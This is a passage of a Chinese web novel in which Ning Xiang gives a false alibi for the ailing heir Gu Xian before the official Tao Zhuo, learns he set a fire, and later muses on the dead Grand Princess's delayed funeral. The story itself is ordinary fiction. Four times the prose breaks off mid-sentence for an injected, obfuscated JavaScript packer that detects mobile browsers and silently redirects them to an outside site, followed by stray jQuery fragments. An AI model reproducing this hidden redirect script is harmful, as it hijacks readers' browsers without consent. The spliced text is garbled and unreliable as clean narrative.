陶卓退后了一步:“顾世子,还请回答本官的问话,其余无关的话请勿多答。” “问话?陶大人问了什么来着?”顾闲又咳了咳,擦了擦嘴角,“对不住,最近用药有些迷迷糊糊的,总是有些答非所问——哦,想起来了,陶大人问我昨日做了什么……我昨日做了什么呢……” 他摇了摇头:“只怕这个问题我也不知道怎么回答陶大人……我昨日迷迷糊糊的……委实不知道自己做了什么。” “这是真的,”冯管家上前来,“我家世子自前几日出门一趟之后,回来便染恙,一直躺在床上连门都没出去过,不知道陶大人问这话是什么意思?” “昨日有人在皇宫附近纵火,”陶卓盯着顾闲,似是生怕漏过他一丝一毫的神情:“有人说曾在昨夜见到顾世子出现在皇宫附近。” “这怎么可能,跟陶大人胡说的那人是见了鬼吗?”冯管家急忙上前,声调上扬:“我家世子昨日一直都在府上,不曾出过府门更不曾去过皇宫!那人凭空污蔑是何居心?” 陶卓眼睛死死盯着顾闲:“那人还说,曾与世子交手——” “这更是荒唐!”冯管家义愤填膺,一脸哀痛,“这京中谁人不知,我家世子自小体弱多病,从会吃饭起便是捧着药罐长大的,肩不能挑手不能提,弓不能拉马不能骑——那人说出这样的谎,也未免太无稽了些,他是把听这话的人都当傻子吗?” “这得是有多蠢笨无知才能听信这种谣言!”冯管家愤愤不平,“有傻子会信这种谎话吗?” 陶卓终于不再盯着顾闲,抽出目光看了冯管家一眼。 冯管家沉默了一瞬:“陶大人英明,当然不会听信这种无稽之谈。” “陛下也不信,”陶卓拱了拱手行礼,复又看向顾闲,“但既然有那样的证词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484435|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总要人过来看看,否则若是不管不顾旁人怕是要说陛下偏袒——所以今日只是例行公事问一问而已,顾世子不必多心。” “陛下圣明,”顾闲跟着作揖,不过很快便支撑不住继续躺回床上,声音气若游丝,“不过怎么是陶大人过来询问,卫大人呢?他居然不逮着这个机会公报私仇?” 他三句话不离卫显,着实是令陶卓心生不快:“顾世子还是回答本官的问话吧。” “也是,”顾闲轻笑,看了陶卓一眼,“陛下圣明,我这般不重要的人物、这种不重要的小事自然是不必交给卫大人,劳烦陶大人走这一趟了。” 陶卓眉头皱起:“世子?” “不好意思,药吃多了,人会有些迟钝,总是颠三倒四的,”顾闲点了点自己额头,似乎十分努力地思索着,“陶大人问我昨日在何处,正如我家管家所言,我这几日卧病在床,连这屋子都没出去过。” 陶卓努力让自己不生气:“可有人证?” “有的,”顾闲看了看左右,指着冯管家,“我家中的管家以及其他人都能作证,还有替我看诊的大夫。” “据本官所知,顾家自己在府上养了个大夫,”陶卓不为所动,“连带着顾家的下人——所有这些人身家性命都被顾家攥在手中,他们的证言有几分可信度?” 顾闲抬头看向陶卓:“陶大人若是不信,那我也没法子。”说着又咳了几声。 陶卓身形不动:“倒也不是不信世子,只是没有个有利的证言,本官也实在是无法交差呀。” 他哪里是不好交差——他是因为与卫显杠上了,所以明知道陛下让他过来是轻轻放下的意思,他不甘心非要弄出点什么跟卫显互别苗头而已。 “那再加我一个人证吧,”宁襄突然开口,看到屋内所有人的目光都集中在自己身上,迎着陶卓的目光,“我昨日也来找过世子,管家让我看了一眼,世子躺在床上不省人事——我只是一个外人,犯不着在这种事情上说谎吧?” 冯管家虽然方才当着宁襄的面说的话跟昨日与她说的有出入,本来想着就算宁襄出口质问,他们也有其他应对,但是万万没想到宁襄居然帮着他们说话,不过虽然惊异,此时却也没有反驳宁襄的话。 陶卓眼阴骘:“无关人等不要插嘴。” 宁襄不赞同:“陶大人这话说的,是陶大人自己说顾家的人不能作证需要旁的证言的,怎么我开了口却又成了无关人等了呢?” 陶卓看着她:“那你说说,你昨日为何来顾家?” “前些日子从陶大人手上拿回了先母的遗物,但是因为初来乍到不好带着它,便暂且托了顾世子替我保管,昨日本来想来取回的,奈何顾世子病重不省人事,冯管家不敢擅自做主,所以约了今日过来,”宁襄看了陶卓一眼,“陶大人也是为那物而来的吗?” 她叹了口气:“依我说,那东西虽然在陶家待了几年,但毕竟不是属于陶大人的,陶大人因为这点不忿便追着到顾家来,委实是有些小肚鸡肠,不是一个为官者应有的气度。” “那物是要进献给陛下的,”宁襄摇头,“陶大人委实不该继续惦记着它——那东西,可不是陶大人能够驾驭得了的,陛下若是知道陶大人为了那物公报私仇,不知会作何感想。” “你休得胡言!”陶卓盯着宁襄,“本官今日来顾府,是为昨日纵火一案,提审嫌疑人而已,休要扯些有的没的!” “陶大人纵火一案人证在此,物证——想来顾家为世子用的药可以作为物证,人证物证俱全,顾世子身患疾病卧榻在床,陶大人却依旧纠缠不休,要说没有私心实在是让人难以置信,”宁襄低头,冷笑了一声,“陶大人已经得到了别人想要陶大人得到的答案,不是吗?” 14. 014 深思 “陶大人已经得到了别人想要陶大人得到的答案,不是吗?” 宁襄说出这句话之前,陶卓对于眼前的小姑娘连一个正眼都欠奉,然而听到这句话的瞬间忍不住看向宁襄—— 横看竖看,这也不过就是个寻常的小姑娘罢了,因年纪小或者是别的什么原因,小姑娘看着特别瘦弱,身量在这个年纪的小姑娘里也不算高挑——陶卓身形高大,要看她还得屈尊纡贵低下头颅。 方才那话里的气势,想来只是错觉。 陶卓摇了摇头。 方才那一瞬间,他似乎感觉到是长公主在与他说话。 好歹坐到大理寺卿的位置,混到他这地位,不可能没有见过长公主的。 虽然只是远远见过几次。 陶卓一直有种直觉——长公主生前并不待见他。 大理寺主刑狱,然而本朝——近年以来、确切的说是镇抚司创建之后,陶卓能明显感觉得到大理寺逐渐被边缘化,当然也不只是大理寺,刑部也一样被压住一头——以往有重大案件时通常发由三司会审,不知道从什么时候起,便只是镇抚司独断专行,凌驾于三司之上。 而众所周知,镇抚司指挥使卫显,恰是长公主的驸马。 官员不同于百姓,长公主在民间颇有威望,但在朝堂在官场,对长公主不满之人,比比皆是。 首先,她是个女子,其次,陛下对她几乎是言听计从,最后,她的驸马是那般狠戾一个人——都说物以类聚,那两人是夫妻,想来都不是什么善类。 何况这些年里长公主的一些举措,实在是不得人心,说实话,长公主这一死,许多人面上悲戚,但其实心里是松了一口气的。 陶卓也在松了一口气的人群之列。 区区一个卫显,名里带了个“显”字,出身却是十分的不“显”,不过是仗着几分姿色成了长公主入幕之宾甚至成了驸马,一个卖弄色相的玩意儿,仗着长公主驸马的身份迷惑了陛下,让陛下对他甚是宠信,明明有大理寺有刑部,还要再设立一个镇抚司监察百官甚至天下——不过创设几年的镇抚司,就凌驾于三司、不,应该是百官之上,凭什么? 就凭他是长公主的娈宠吗? 幸好,长公主终究是死了。 长公主一死,卫显似乎也跟着失了势,以往陛下从未想起过大理寺,如今来成国公府查案的事,陛下并没有交给卫显,而是交给了大理寺。 而且,据证实,自从长公主薨逝第一天卫显被召进宫以外,这么多天了,陛下一次都没有召见过卫显。 来成国公府的路上,陶卓还有些洋洋得意展望未来——他已经可以预见长公主死后,大理寺终于重新被陛下重视启用,他野心勃勃想要办好这一差事,本来这种事犯不着他一个大理寺卿亲自办理,随意找一个过来搜查便是,可是大理寺已经被打压了太久沉寂了太久,自从他当值以来,这还是陛下第一次召见他,他亲自来到成国公府,就是想亲历亲为让陛下看到他的努力,然而此时此刻,却因为一个小姑娘莫名其妙的话语,背后生出了一身冷汗。 冷静下来仔细想想,的确咂摸出几分不对劲来。 诚如冯管家所言,顾闲体弱,京中人尽皆知,顾铭弓马娴熟偏偏生了这么个病秧子一向是他们隐隐幸灾乐祸的根源,至于说看到顾闲的人……陶卓并没有看到本人也没有听到本人开口,得到的口供也是从旁人嘴中得知的,陛下命他来成国公府“查看”,但是到底要“查看”什么想要“查看”出什么结果,陛下并没有明确的指示。 陛下到底想要他得到什么答案呢? 一旦深究下去,陶卓不免冷汗涔涔。 与顾闲“体弱多病”一般为人所知的,还有卫显与顾闲的针锋相对,这两人不合由来已久,好像自从卫显扬名以来,别人便都知道,卫显这人极其讨厌成国公世子。 至于缘由,不得而知。 曾有好事的同僚私下揣摩,说一个男子如此介意另一个男子,多半是因为一个女子。 那时候卫显已经是长公主的驸马了,说这话的意思无非是说长公主与顾闲有些什么所以才引得卫显争风吃醋——后来那几个说闲话的同僚的下场陶卓不想去回想,总之都不是什么善终便是了。 不过从那之后,倒是没人敢乱嚼舌根子,说一些捕风捉影的无事生非的有关于长公主的事了,尤其是关于男女之事方面的。 长公主最为他们这些世家老臣诟病以及愤恨的一点,便是提拔了一些寒门的学子、甚至重用一些女子——很难不被认为这是一种挑衅。 幸好,长公主命薄,早早便去了,否则任由她再折腾几年,只怕这朝堂之上世家门阀要被打压得所剩无几。 其实长公主重用新人也不过是近几年的事,最初的时候,不是没有过流言蜚语,尤其是当时长公主未婚,他们私底下说什么的都有,几个老臣便趁机联名上书,言及长公主已经过了适婚的年纪,应该尽快大婚以免耽误了年华——其实是希望长公主婚后能好好“相夫教子”少插手朝堂之事。 按本来惯例,公主驸马不能担任实职要职,为长公主选婿一事当初也算是闹得沸沸扬扬,一群平日里对长公主并不服气的老臣们对长公主的婚事一个个看起来倒都说尽心尽力得很——除了那些被长公主提拔的年轻官员以外,老臣们也乐得将自家次子、庶子推出来以供长公主备选,当然,也少不了有人趁机排除异己,将自己对家的、本来要继承家业的嫡子、长子、独子也放入替长公主择婿的名单里。 顾闲便是那被无辜牵连的一个。 作为顾铭的独子,虽然体弱的名声在外,但无论如何,顾家迟早都是要由顾闲承继的。 顾家手上的兵权虽然人人觊觎——只怕就连陛下也想要,但是通过联姻的方式得到……也的确是有些不要脸。 这样的人,是绝对不适合城为长公主的驸马的。 何况—— 外人看来,顾闲几乎是由长公主抚养长大的。 那年长公主二十三岁,顾闲十六岁。 提出这个建议的人,要说没存什么恶心人的心思——陶卓可不信。 偏偏在诸多有心人推波助澜多番权衡之下,顾闲从一众备选者中脱颖而出,成为呼声最高的长公主驸马人选。 关于成国公世子要成为长公主驸马的说法言之凿凿之时,长公主私下与顾闲见了一面。 之后的事情,便是成国公世子顾闲连夜“仓皇”离京,到边关投奔成国公,这一走便是两年。 长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484436|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与顾闲那一次见面说了什么,所有人都不得而知,陶卓后来倒是听过一些同僚的闲言碎语——无外乎是长公主恨嫁饥不择食老牛吃嫩草竟然对自己养大的孩子也能下手,或者是私下里嘲笑长公主大权在握又怎样没有人敢娶她注定孤独终老。 流言甚嚣尘上之时,过去名不见经传的卫显横空出世,出身低微、经历乏善可陈的他成为陛下新设立的镇抚司的指挥使,行监察百官之职、有先斩后奏之权——他上任之后做的第一件事,便是将两名诋毁长公主的官员处死。 而后,更多人的成为镇抚司的阶下囚和刀下亡魂。 一时之间人人自危,渐渐的,有关于长公主的婚事,再无人敢提。 说来可笑,陶卓这大理寺卿的位置——原本一时半会三年五载的还不至于落到陶卓身上,但谁叫他的竞争对手都死了呢。 等到他上峰们都因为莫名其妙的缘由得罪了卫显——或者是得罪了长公主所以被卫显处置了之后,群龙之首之下,便只能由他顶上大理寺卿的位置了。 而这时候,长公主和卫显已经成亲了,在顾闲逃离京城后的第二年,陛下亲自赐婚,长公主与卫显结为夫妇。 即使成亲了,长公主依旧插手朝政之事,卫显依旧在镇抚司任职,当初那些老臣们设想的长公主婚后不再管事、长公主的驸马不能担任实职的想法——终究只是设想或者说空想而已……手中权力在握的人,怎么可能轻易放手。 别看长公主在民间名声甚好,在大部分的官员看来,长公主和卫显不过是狼狈为奸的夫妇,卫显之所以能那么嚣张,不过是仗着是长公主驸马所以胡作非为甘当长公主的刽子手帮长公主做些见不得人的事排除异己。 对于有些脏事卫显成为长公主驸马前就已经在做了——好啊,原来他俩早早就勾搭上了——当然,这样的想法,陶卓也就只敢在心里念叨念叨,嘴上他是从来不会吐露分毫的,哪怕是对他的妻子儿女——万一隔墙有耳或者他的亲人无意之中说漏了嘴呢:他能活到现在混到如今这个位置,便是因为他向来懂得明哲保身。 然而此时此刻,他似乎是有些失了态。 他被打压了太久大理寺被陛下忽略了太久,他将所有怨恨都悄悄埋向长公主,而长公主一朝身死,他自觉身上的大石落下,一时之间松了口气以至于忘了形。 长公主虽然死了,但是积威仍在,众所周知,陛下一向十分听从长公主,而长公主生前的确是护着顾家的。 可现在长公主刚去几日,陛下便命他来顾家……而一贯与顾闲不和的卫显,此时却没有趁机落井下石,而是闭门不出。 陶卓不像他那几个同僚一样,怀疑长公主跟顾家世子有什么,但是,冷静下来之后,他的确是惊出一身冷汗。 有些事不能深思,一旦深思,便觉得处处都是陷阱,条条都是死路。 陶卓退后了一步。 但他绝对不能承认自己先前昏了头,也不能表现出自己此刻心中的耸,清了清喉咙:“既然这么多人给世子做不在场证明,那本官姑且信了,向陛下复命时,本官会如实相告的。” 宁襄目送着陶卓“落荒而逃”,一回头,发现一双幽深的眼睛一直盯着自己,即使看到她回身,也没有移开目光。 15. 015 生辰 宁襄走近几步,刚想说什么,顾闲突然开始剧烈的咳嗽,冯管家无暇他顾,上去拍着顾闲的背给他顺气,屋内忙乱成一团,人们来来往往慌乱之中又带着似乎已经成为了习惯的有条不紊,顾闲咳得上气不接下气,终于在吐出一大口血之后,安静了下来。 这阵仗,比之前刚进来的时候、咳出第一口血的时候似乎更惊心动魄些。 冯管家和顾闲面上似乎有几分惋惜,宁襄莫名觉得——也许是惋惜因为陶卓走得太早,没能看到这样的场面吧。 宁襄看着被人端走的痰盂,帕子上的红色血液触目惊心,宁襄倒是没想过要避开,不过冯管家过来虚拦了一下:“姑娘莫要靠近,小心被牵连染上了同样的病症,这病可不是什么好东西。” 宁襄没有上前也没有退后,低垂下眼眸:“世子这患的是什么病。” “就如同外边他们说的那样,”冯管家面色温和,说的话倒是有些吓人,“痨病,治不好,会传人的那种。” “似乎也并没有听到府上有其他人被传了这病,”宁襄沉默了一瞬,想了想终究还是问道,“有请大夫看过吗?” “自然是有的,”冯管家没有接宁襄前边那句话,只是回应了她后边的问题,“我们府上常年备着大夫,就是替世子看病保命的。” 宁襄声音低低的:“我竟不知这病得这般严重。” 冯管家没听清:“姑娘说什么?” 宁襄摇了摇头:“除了府上的大夫,有请过别的大夫吗?太医呢?有叫太医看过吗?” “自然是有的,”冯管家点头,“陛下每半个月会遣太医过来替世子诊脉,之前……长公主也会时不时让太医——” 顾闲又咳了一声,冯管家便闭了嘴,装作不经意般转了话题:“姑娘是为了那幅绣品来的吧?老奴这便领姑娘取拿。” 他挡在宁襄和顾闲之间:“我们世子大病未愈,需要多休息休息。” 宁襄点了点头,倒是没有被逐客的尴尬。 正想跟顾闲告辞,顾闲却开了口:“冯管家你去将东西拿来,我与……宁姑娘说几句话。” 他顿了顿:“如果宁姑娘不怕染上跟我同样的病症的话。” 宁襄沉默,重复了一边之前的话:“府上并没有传出其他人有同样的病症。” “是吗,”顾闲看着她,微微一笑,“这的确是个疏漏呢。” 他面上并没有半分窘迫或者不自在,眼睛坦荡地看着她,仿佛浑然没有意识到他方才说的话深究下去能引来多大的麻烦,若是陶卓此刻仍在此处,少不得会趁机大做文章。 宁襄眼神未变,并没有抓到他把柄要挟的心思也不打算去告发他,但是也不好接他的话茬,只好沉默,希望冯管家早去早回吧。 偏偏顾闲不肯放过她:“宁姑娘没有什么想对我说的吗?” 宁襄依旧不说话,他又问:“姑娘不打算去告发吗?” 宁襄摇了摇头:“世子不必担心,以我如今的身份,做不了什么事。”再说了,她也没打算做什么。 “我与姑娘不过数面之缘,并无任何私交,”顾闲不明白,“宁姑娘为何要替我隐瞒实情——甚至替我做伪证呢?” 宁襄不愿意承认:“世子在说什么我不明白……我先前只是实话实说而已。” 顾闲嗤笑了一声:“实话实说?” 他说:“我不信。” “冯管家跟我说起过姑娘来找我之事,”顾闲面不改色,“姑娘来寻我之时,我的确不在府上。” 他看着宁襄,似乎有些破罐子破摔的模样:“陶大人其实没有找错人,昨夜的烟火,的确是我放的。” 宁襄没料到他居然当着她的面坦承,面上有些懊恼:“世子为何要跟我说这些。” “我也不知道,大概是不愿衣锦夜行怕无人知,所以总得有人分享吧,”他其实也不是个爱倾诉的人,但此时此刻,莫名想要不吐不快,顾闲摇了摇头:“你也可以当我无法无天吧。” 宁襄长叹一声:“世子就真的不怕我会将这些事说出去吗?” “你自便,”顾闲老神自在,“也许你说出去了,才是正合我意呢。” “世子放心吧,”宁襄摇了摇头,“我不会说出去的。” 顾闲看着她:“为什么?你为什么要帮我?” “顾将军满腔赤诚,替百姓镇守边关,劳苦功高,”宁襄正了正色,顿了顿如郑重承诺一般复述了自己方才的话道,“我不会说出去的。” “你这冠冕堂皇的话,倒是有几分像她……”说到这,他神色似乎有些怔忪,定睛细细打量了宁襄一眼,“姑娘生辰是何时?” 无端端问起不相熟、甚至于是陌生的女子的生辰,其实是十分唐突和失礼的,宁襄固然可以避而不答,然而抬眼打量了顾闲一眼,见他眼神澄澈并无其他心思——抑或者是有但是被他掩藏住了,宁襄沉思了一瞬,终究还是开口回答:“七月十四。” “七月十四,”顾闲沉吟了半晌,低垂下眼眸,“那日听了一嘴,姑娘今年方及笄,十五岁,那便应该是庆熙十四年生人?” 庆熙,是先帝的年号,先帝是长公主与陛下的父亲。 庆熙十四年时,长公主十二岁——真要论起来,长公主时先帝得登大宝之后,生下的第一个孩子。 加上一些出生时的巧合,才在向来不关心子女的先帝那里挂上了号。 宁襄不知道他为何提到庆熙十四年,但庆熙十四年也不是什么需要避忌的年份,就算她否认随意找宁家一问也能问的出来——虽然或许别人也不至于巴巴到宁家只为了问这一句、或者就算是问起宁家,宁家也不是立即便能想得起来——但是若是宁襄否认反而会让人觉得她心中有鬼。 宁襄点了点头:“似乎是的。” “庆熙十四年七月十三酉时,”顾闲抬眼看她,“在宫中各处忙着筹备祭祀之时,长公主从祭台失足摔下人事不省,太医院的太医们一一诊断,除了轻微的外伤之外并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484437|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无其他伤处,但长公主却因此昏迷了三个月方才醒来。” 宁襄呆了呆,眼神有些惊异地看向顾闲,但也只是叹道:“真是巧了。” 顾闲没有理会,径自道:“庆熙十五年七月十四,拜见长公主之时,有宫女拿来长命锁的纹样让她挑选,当时随口问了一句,她说是为了个小友准备的生辰礼物。” “当时我问这‘小友’究竟是谁,”顾闲并没有提长公主当年的回答,只是长叹一声:“如今才知,那人有可能是你。” 那长命锁两年之后,戴在了宁襄的脖子上。 宁襄彻底呆住,半晌才有些讪讪道:“世子的记性真的是无人能及。”连这般琐碎的事情过了这么多年都还能记得这般清楚,当年他才几岁? “倒也不是记性好,只是——”只是什么,他张了张嘴,却又闭上,过了一会儿才重新开口,“长公主一直在京城,少时长居宫中未曾去过别处,我思来想去,也找不出除了那几次以外,长公主与姑娘有任何交集的可能。” 宁襄神色微微严肃,顾闲却又摇了摇头:“但我也的确相信,姑娘与长公主必然是有某种渊源的。” “姑娘看我时的眼神,并不像是看着一个初相识的人的模样,”顾闲眼眸低垂,“而且似乎并没有深思便站在我这边——仿佛姑娘对我十分熟悉。” 熟悉得仿佛认识了十几年一样,熟悉得仿佛她就是……一样——顾闲摇了摇头,摆脱脑子里生起的荒谬想法,看着宁襄:“姑娘为什么来京城?” 宁襄顿了顿——她当然可以说出令人无可辩驳的答案,可是此时此刻,却怕自己说多错多——毕竟,她来京城的理由,的确并不是因为宁家想起她及笄应该回来。 就算宁家不去接她,她也是要走这一趟的。 “不愿说罢了,”顾闲似乎也不打算追问,看了看候在外边的冯管家,“姑娘的东西拿回去之后,便尽快离开京城吧。” 他双目闭上:“京城水深,就算是善泳者也容易溺亡,姑娘初来乍到怕是不识水性,便不要趟这趟浑水吧。” 他顿了顿,声音轻轻的:“长命富贵,平安是福。” 宁襄又愣了一瞬——牡丹是人间富贵花,她的长命锁上,纹饰便是一朵牡丹花……还刻了“平安”二字。 这的确是当年长公主选了这样的纹样的初心。 要想活得长久,首要的便是——明哲保身。 宁襄漠然起身告辞,看了看闭目着的顾闲嘴角没有擦拭干净的血迹,到底还是忍不住:“是药三分毒,世子也应多爱惜自己身子才是。” 顾闲只是睁开眼,并没有再说什么。 宁襄也不是非要得到什么回答,以她如今的身份说出这样的话的确是有些逾矩了——只是有些事过去不知道便罢,既然知道了,总不能什么都不提点。 反正话已经说出口,收回也是无能,宁襄朝他点了点头,再度告辞,这才迎向冯管家。 那里才是她今日来的原因。 16. 016 不对 今日跟着一起出门,但姚嬷嬷一路上都没有打扰宁襄,宁襄跟陶卓对峙帮顾闲说话,姚嬷嬷虽然担忧,但也没有出声打扰宁襄。 沈慧的绣品很大,宁襄跟姚嬷嬷一个年轻女子一个老人,抱着或者是抬着其实还是有些吃力的,好在冯管家为人机灵,抑或者是感激宁襄出言相助,不必顾闲吩咐,早已经备好了车马送她们一程。 宁襄犹豫了一瞬,看了看自己抱着的东西,的确不适合招摇过市,还是低头谢过不再推辞,不过并没有让顾家的马车送她们到住所门口,只在巷口便下了马车——虽然心里也知道,这是一种掩耳盗铃多此一举的举动,今日就算没让顾家相送,只怕她们的住所也不可能是秘密。 从她踏进京城的那一日起,只要想查,她的去向,从来都不是秘密。 宁襄无暇考虑这么多,横竖她们也并不会在京城久待,迟早都是要离开的,从一开始,她就没想过要在京城多待……长公主,也不想的。 再说了……也许也并不会发生什么。 毕竟她跟姚嬷嬷不过也只是普通人,惊不起什么大风浪,不值得别人为她们多投注更多的目光。 也亏得顾家的马车相送一场,她们到“家”时天还未黑,姚嬷嬷看看天色进门便去准备晚饭,宁襄净了手,将手上的东西放在院内的石桌上,包裹着卷轴的布拉开一些,露出里边的绣幅。 十几年过去,纵然陶家将这卷轴好好收藏保养,光阴还是免不了在上边留下了痕迹,宁襄只拉开了两只手掌长度的画幅,看着有些微微发黄发旧的绣面发着呆。 姚嬷嬷把饭闷上,也走到宁襄身侧,看着桌上的东西有些唏嘘。 “奴婢还记得当年夫人绣它时的场景,”姚嬷嬷神情感慨,眼神似乎在回想着什么,“那时候奴婢便抱着姑娘在一旁看着,姑娘从小便是特别懂事的孩子,一向不哭也不闹,从不打扰夫人做事——而且看夫人绣东西的时候特别专注,仿佛能看得懂一般……夫人也是,那时候姑娘才多大呀,怕是还没开始记事呢,夫人一边绣着还一边给姑娘讲解……仿佛姑娘能听得懂似的……偏偏姑娘还真就一边听一边点头,好像真的听懂了一般。” 姚嬷嬷想想便有些忍俊不禁,不过笑了一声又不免长叹:“旁人不知道,奴婢却是最清楚,姑娘从小看着便聪慧懂事。” ——可惜这般聪慧懂事的小姐,却被宁家的下人嚼舌根说是天生痴傻。 宁襄摇了摇头:“没关系的。”她也并不是需要宁家人的认可。 “姑娘真的要把这东西进献出去吗?”姚嬷嬷面上不舍,伸出手想摸一下却又缩回手,声音惋惜,“这怎么说也是夫人的遗物。” “当然,”宁襄见天色开始暗下来,将东西重新卷起包好,手指点在上边:“话已经说出去了,别人也都听到了。”不进献出去的话……就是欺君之罪,虽然说这种小事,可能未必会传到陛下的耳中。 宁襄嘴角微微扯出一个弧度:“嬷嬷放心吧,我心里有数的。” “姑娘既然做了决定,奴婢相信姑娘心里是有计较的,”姚嬷嬷点点头,不再纠结于这个问题,换了个话题,“姑娘打算什么时候进献出去?” “暂时还没想好,”宁襄轻轻摇头,怔忪了一会才轻轻开口,“不急……过些时日再说吧。” “也是,”姚嬷嬷想到了什么,神情微微失落,感叹道,“如今……正是长公主孝期,也不好做什么。” “东西先放在姑娘这儿,能多看几眼是几眼,”姚嬷嬷神色惋惜,并不把之前宁襄说这画轴没完成需要善后的话当回事,感慨道:“可惜夫人去得早,那时候姑娘又还只是襁褓中的孩子,沈家的绣艺无人传承,奴婢手又笨,跟着夫人那么多年竟是一点皮毛都没学会,否则至少还能留些念想或者能稍稍帮上姑娘。” 宁襄稍稍回神:“会有法子的,嬷嬷不必担心。” 姚嬷嬷不知道想到什么事情,长长叹了口气。 宁襄看过去:“嬷嬷怎么了?” “奴婢方才突然想起来,”姚嬷嬷语气踟蹰,“长公主这已经去了几日了……怎么也没听说让人去吊唁也没安排下葬的……” 宁襄呆了呆,也跟着长叹了一声。 姚嬷嬷自己找补道:“兴许是奴婢少见多怪……皇家毕竟不是普通人家,排场礼仪肯定很多,要准备起来定然是十分繁琐的,是奴婢想得太简单了。” 宁襄摇了摇头:“的确是不太对劲。” 皇家的规矩与寻常人家不一样,但真要说起来,也是有礼可循的——就是比之寻常人家更盛大隆重一些而已。 前朝乃至今朝的确是有过秘不发丧的先例,但这种情形通常是在先帝驾崩皇权更迭的时期——但长公主情形不一样,长公主薨逝当天便敲了丧钟,该知道的都知道长公主已经死了,陛下早已经即位多年,纵然年少时长公主听政过一段时日这些年也一直还在协理陛下,但长公主从未把持朝政,长公主听政但不摄政,大权一直都是在陛下手中,长公主也并没有废立陛下的打算以及决心和权势,她的死本应该是正常宗室的死一样,换句话说,长公主还没有重要到可以影响整个朝堂的局势,构不成秘不发丧的前提。 但是如今的情形是,长公主薨逝之日起,长公主的葬仪就应该筹备起来,当天、最迟三日便应该发丧,由礼部上书对其追封祭葬——虽然依着长公主的意思一切从简便好——但陛下当日便停了朝会尔后紧闭宫门不见任何官员——包括了礼部的官员,长公主已经逝了这么些时日,长公主的后事没有陛下的吩咐许可,根本就没有操办起来。 这不对劲。 太不对劲了。 哪怕长公主死得突然,陵寝没有准备好,丧仪也是要有的,但直到今日,吊唁、出殡、停灵——一件都没有开始。 连姚嬷嬷这样的普通人都能感觉到怪异……朝中那么多人……那些人……陛下……不会不明白。 宁襄叹了口气,将东西收起抱回屋内。 姚嬷嬷饭菜已经做好,宁襄心中有事,简单茶饭过后稍事梳洗早早便睡了,姚嬷嬷还记挂着长公主的葬仪,临睡前期期艾艾地问了一句:“姑娘你说,如果长公主的后事操办起来了……我们能去瞻仰一下长公主……或者去灵前烧炷香吗?” “毕竟长公主当初曾经帮过我们,”姚嬷嬷十分遗憾,“这最后一面总该去见一见。” 宁襄没有回答,主要也是不知道怎么回答,姚嬷嬷自言自语一会,许是也明白这事情不现实:“是奴婢想多了——皇宫内院……哪是我们这样的寻常百姓想进就能进的。”哪怕宁襄此次来京认亲成功,这样的想法也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484438|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种奢望……就算的宁海本人,也未必有资格去瞻仰长公主遗容,何况只是宁海的女儿……还是一个跟宁海断离关系的女儿。 宁襄舍弃了官家女儿的身份,她们便只是天底下再普通不过的百姓,跟天底下大多数平民百姓一般,也许一辈子都难得见天颜一次。 姚嬷嬷放弃了之前她自己觉得不切实际的想法,却还是没有死心:“宫里我们进不去,也不知道外边行不行——” “姑娘你觉得,长公主下葬之后我们能到她陵前给她上柱香吗?”姚嬷嬷说着说着声音渐渐低下来,“总得做点什么……” 宁襄轻轻摇头,皇宫进不去,皇家陵寝其实也是一样的,就算没有皇宫那般重重看守,至少也是戒备森严,哪能跟寻常人家的墓地一样,谁想去就能去的,哪怕是稍微有点头脸的人家,祖陵都不是旁人想去便能去的,宁襄明白其中的关关绕绕,却不忍心打击姚嬷嬷的念想,沉默了许久才轻声道:“嬷嬷想去的话……总会有机会的。”其实她自己心里很清楚,这事没那么简单……基本上是不可能实现的。 回应她的,只是姚嬷嬷沉稳而清浅的呼吸。 宁襄呆了一瞬,哑然失笑,这倒是她进京以来最真心实意地笑容,笑过了之后闭上眼睛,就着姚嬷嬷的呼吸声,倒也的确开始感觉到困意了。 